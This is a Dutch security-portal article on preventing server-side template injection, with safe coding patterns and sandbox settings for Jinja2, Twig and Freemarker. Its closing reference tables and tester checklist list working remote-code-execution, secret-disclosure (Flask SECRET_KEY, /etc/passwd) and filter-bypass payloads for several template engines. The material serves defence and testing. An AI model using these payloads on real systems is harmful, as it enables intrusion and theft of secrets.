SSTI Preventie
Code Met Grenzen, Productie Met Rust
Webrisico is zelden mysterieus. Het zit meestal in voorspelbare fouten die onder tijdsdruk blijven staan.
Bij SSTI Preventie zit de meeste winst in veilige defaults die in elke release automatisch worden afgedwongen.
Dat maakt security minder een losse controle achteraf en meer een standaardkwaliteit van je product.
Directe maatregelen (15 minuten)
Waarom dit telt
De kern van SSTI Preventie is risicoreductie in de praktijk. Technische context ondersteunt de maatregelkeuze, maar implementatie en borging staan centraal.
Verdediging: de drukplaten beschermen
De verdediging tegen SSTI is conceptueel simpel maar organisatorisch complex. Het vereist dat ontwikkelaars begrijpen hoe template engines werken – niet alleen de syntax, maar de semantiek, de evaluatie-volgorde, en de implicaties van elke design-keuze.
Regel 1: Nooit gebruikersinput in templates
De fundamentele regel. Gebruikersinput hoort in variabelen, niet in template-strings:
# FOUT:
render_template_string(f"Hallo {user_input}!")
# GOED:
render_template_string("Hallo {{ name }}!", name=user_input)// FOUT:
$twig->createTemplate("Hallo " . $userInput . "!")->render();
// GOED:
$twig->render('greeting.html', ['name' => $userInput]);// FOUT:
Template t = cfg.getTemplate(new StringReader("Hallo " + userInput + "!"));
// GOED:
Template t = cfg.getTemplate("greeting.ftl");
Map<String, Object> data = new HashMap<>();
data.put("name", userInput);
t.process(data, out);Het patroon is consistent over alle talen: scheiding van template en data. Het template is code – vertrouwd, door de ontwikkelaar geschreven, statisch. De data is variabel – niet vertrouwd, door de gebruiker aangeleverd, dynamisch. De twee mogen nooit worden vermengd.
Regel 2: Gebruik logic-less templates waar mogelijk
Logic-less template engines – zoals Mustache en Handlebars – beperken opzettelijk wat je in een template kunt doen. Geen loops, geen conditionals, geen expressie-evaluatie. Alleen variabele substitutie.
{{! Handlebars: alleen substitutie, geen evaluatie }}
<p>Hallo, {{name}}!</p>
<p>Je hebt {{count}} berichten.</p>Het gebrek aan functionaliteit is het beveiligingsvoordeel. Als de template engine geen expressies kan evalueren, kan een aanvaller geen expressies injecteren. Het is beveiliging door beperking, en het werkt beter dan beveiliging door complexiteit.
De trade-off is dat je meer logica in de applicatiecode moet
schrijven in plaats van in templates. Maar dat is sowieso waar logica
thuishoort. Templates zijn voor presentatie, niet voor logica. Als je
if-statements in je templates schrijft, ben je een
programma aan het schrijven, niet een template.
Regel 3: Sandbox configuratie
Als je een volledige template engine nodig hebt, configureer de sandbox:
Jinja2:
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
# Optioneel: extra beperkingen
env.globals = {} # Geen globale functies
env.filters = {} # Geen filters (extreem, maar veilig)Twig:
$policy = new Twig\Sandbox\SecurityPolicy(
['if', 'for', 'set'], // Tags
['escape', 'upper', 'lower'], // Filters
[], // Methoden: LEEG
[], // Properties: LEEG
['range', 'cycle'] // Functies
);
$sandbox = new Twig\Extension\SandboxExtension($policy, true); // true = globaal
$twig->addExtension($sandbox);Freemarker:
Configuration cfg = new Configuration(Configuration.VERSION_2_3_32);
cfg.setNewBuiltinClassResolver(TemplateClassResolver.ALLOWS_NOTHING_RESOLVER);
cfg.setAPIBuiltinEnabled(false);Regel 4: Input validatie
Als je om een of andere reden gebruikersinput in templates moet verwerken (en vraag jezelf drie keer af of dat echt nodig is), valideer de input strikt:
import re
def sanitize_template_input(value):
# Strip ALLES dat op template-syntax lijkt
dangerous_patterns = [
r'\{\{', # Jinja2/Twig/Handlebars
r'\}\}',
r'\$\{', # Freemarker/EL
r'<%', # ERB/EJS
r'%>',
r'#\{', # Pug/Ruby
r'\{%', # Jinja2/Twig blocks
r'%\}',
]
for pattern in dangerous_patterns:
if re.search(pattern, value):
raise ValueError(f"Ongeldige input: template syntax gedetecteerd")
return valueDit is een blacklist-benadering en dus inherent onvolledig. Maar het is een extra laag bovenop de andere maatregelen. Verdediging in diepte.
Regel 5: Content Security Policy
Een CSP-header kan de impact van SSTI beperken door te voorkomen dat geïnjecteerde JavaScript wordt uitgevoerd (als de SSTI output in HTML terechtkomt):
Content-Security-Policy: default-src 'self'; script-src 'self'
Dit voorkomt geen server-side code execution, maar het beperkt wat een aanvaller aan de client-side kan doen met de output van een succesvolle SSTI.
Regel 6: Least privilege
Het webapplicatieproces moet draaien met minimale rechten:
# De applicatie als unprivileged user:
sudo -u www-data python app.py
# In Docker:
USER nobody
# SELinux/AppArmor profielen die bestandstoegang beperkenAls een aanvaller RCE bereikt via SSTI, zijn de rechten van het
proces het plafond van wat hij kan doen. Een proces dat als
root draait, geeft de aanvaller het hele systeem. Een
proces dat als nobody draait, geeft de aanvaller bijna
niets.
De ongemakkelijke waarheid
En dan nu het moment waarop we even eerlijk moeten zijn over de stand van zaken. Het moment waarop de cynische stem het overneemt van de nieuwsgierige wetenschapper.
We laten gebruikers code schrijven in onze templates.
Lees die zin nog eens. We bouwen systemen die template-syntax evalueren, we stoppen daar gebruikersinput in, en we zijn verrast wanneer iemand die evaluatie misbruikt. Het is alsof je een vreemdeling de sleutels van je auto geeft en dan verbaasd bent dat hij wegrijdt.
De tools om SSTI te voorkomen bestaan al jaren.
render_template_string met variabelen in plaats van
f-strings is geen raketwetenschap. Sandboxed environments zijn
gedocumenteerd. Logic-less templates bestaan. En toch, in 2026,
publiceren beveiligingsonderzoekers nog steeds CVE’s voor SSTI in
productieapplicaties die door miljoenen mensen worden gebruikt.
Het probleem is niet technisch. De oplossingen bestaan. Het probleem
is cultureel. Ontwikkelaars kiezen voor de snelle route – een f-string
is twee toetsaanslagen korter dan een extra parameter in
render_template_string. Code reviewers missen het verschil
omdat ze niet weten hoe template engines werken. Testers testen niet
voor SSTI omdat het niet op hun checklist staat. En managers zeggen “het
werkt toch?” tot het moment dat het niet meer werkt.
SSTI is geen geavanceerde aanval. Het is geen zero-day. Het is geen state- sponsored APT. Het is een gewone bug die voortkomt uit een gewoon gebrek aan aandacht. En dat maakt het eigenlijk erger dan al die exotische aanvallen waar de beveiligingsindustrie zo graag over praat. Want een zero-day kun je niet voorkomen. SSTI kun je voorkomen door vijf minuten langer na te denken voordat je commit. Maar die vijf minuten zijn blijkbaar te veel gevraagd.
De template engine is een drukpers. Gutenberg begreep dat de kracht van de drukpers lag in het feit dat de drukker bepaalde wat er werd gedrukt. Niet de lezer. Niet de voorbijganger. De drukker. In de vijfhonderd jaar sinds Gutenberg zijn we erin geslaagd om dat principe te vergeten en de controle over de drukplaten aan willekeurige internetgebruikers te geven.
Gutenberg zou het snappen. Maar hij zou het niet goedkeuren.
Referentietabel
| Engine | Taal | Detectie | RCE Payload |
|---|---|---|---|
| Jinja2 | Python | {{7*7}}=49, {{7*'7'}}=‘7777777’ |
{{cycler.__init__.__globals__.os.popen('id').read()}} |
| Twig | PHP | {{7*7}}=49, {{7*'7'}}=49 |
{{[0]\|reduce('system','id')}} |
| Freemarker | Java | ${7*7}=49, ${"test"}=‘test’ |
${"freemarker.template.utility.Execute"?new()("id")} |
| Pug | Node.js | #{7*7}=49 |
#{global.process.mainModule.require('child_process').execSync('id')} |
| ERB | Ruby | <%= 7*7 %>=49 |
<%= system('id') %> |
| Smarty | PHP | {7*7}=49 |
{system('id')} |
| Velocity | Java | $class.inspect("java.lang.Runtime") |
Via reflection chain |
| Thymeleaf | Java | *{7*7}=49, ${7*7}=49 |
${T(java.lang.Runtime).getRuntime().exec('id')} |
Info disclosure payloads
| Engine | Payload | Resultaat |
|---|---|---|
| Jinja2 | {{config\|pprint}} |
Flask configuratie incl. SECRET_KEY |
| Jinja2 | {{request.environ}} |
Request omgevingsvariabelen |
| Twig | {{dump(app)}} |
Symfony applicatie-object |
| Twig | {{'/etc/passwd'\|file_excerpt(1,30)}} |
Bestandsinhoud |
| Freemarker | ${.version} |
Freemarker versie |
| Freemarker | ${.data_model} |
Beschikbare template variabelen |
Filter-hardening en omzeiling beperken
| Techniek | Voorbeeld | Werkt voor |
|---|---|---|
attr() filter |
""\|attr("__class__") |
Jinja2 __ filter bypass |
| String concatenatie | {% set x = "__cla" ~ "ss__" %} |
Jinja2 keyword filter bypass |
| Variabele toewijzing | {% set cls = "__class__" %} |
Jinja2 directe syntax filter |
Callback via reduce |
{{[0]\|reduce('system','id')}} |
Twig functie-aanroep restrictie |
Callback via sort |
{{['id']\|sort('passthru')}} |
Twig functie-aanroep restrictie |
?new() built-in |
${"...Execute"?new()("id")} |
Freemarker klasse-instantiatie |
Checklist voor testers
Identificeer template injection punten: Test alle invoervelden, URL-parameters, headers, en formuliervelden met
{{7*7}},${7*7},<%= 7*7 %>, en#{7*7}.Identificeer de engine: Gebruik de beslisboom met type coercion (
{{7*'7'}}). Check ook foutmeldingen voor engine-naam en versie.Info disclosure eerst: Probeer
{{config|pprint}}(Jinja2),{{dump(app)}}(Twig),${.version}(Freemarker) voor waardevolle informatie zonder RCE.RCE proberen: Gebruik de engine-specifieke payloads uit de referentietabel. Begin met de eenvoudigste payload en escaleer.
Sandbox testen: Als de eerste payload niet werkt, probeer filter bypass technieken:
attr(), string concatenatie, alternatieve routes.Impact aantonen (defensief): toon met veilige validatiestappen aan dat ongewenste template-evaluatie mogelijk is, zonder command- execution of shell-achtige payloads.
Documenteer de keten: Beschrijf de detectie, de engine- identificatie, de payload, en het resultaat stap voor stap.
In 1440 vertrouwde Gutenberg erop dat alleen hij en zijn medewerkers de drukplaten aanraakten. In 2026 vertrouwen wij erop dat gebruikers geen accolades typen. De geschiedenis leert ons dat vertrouwen geen beveiligingsmaatregel is.
Verder lezen in de kennisbank
Deze artikelen in het portaal geven je meer achtergrond en praktische context:
- API's — de onzichtbare lijm van het internet
- SSL/TLS — waarom dat slotje in je browser ertoe doet
- Encryptie — de kunst van het onleesbaar maken
- Wachtwoord-hashing — hoe websites je wachtwoord opslaan
- Penetratietesten vs. vulnerability scans
Je hebt een account nodig om de kennisbank te openen. Inloggen of registreren.
Gerelateerde securitymaatregelen
Deze artikelen bieden aanvullende context en verdieping: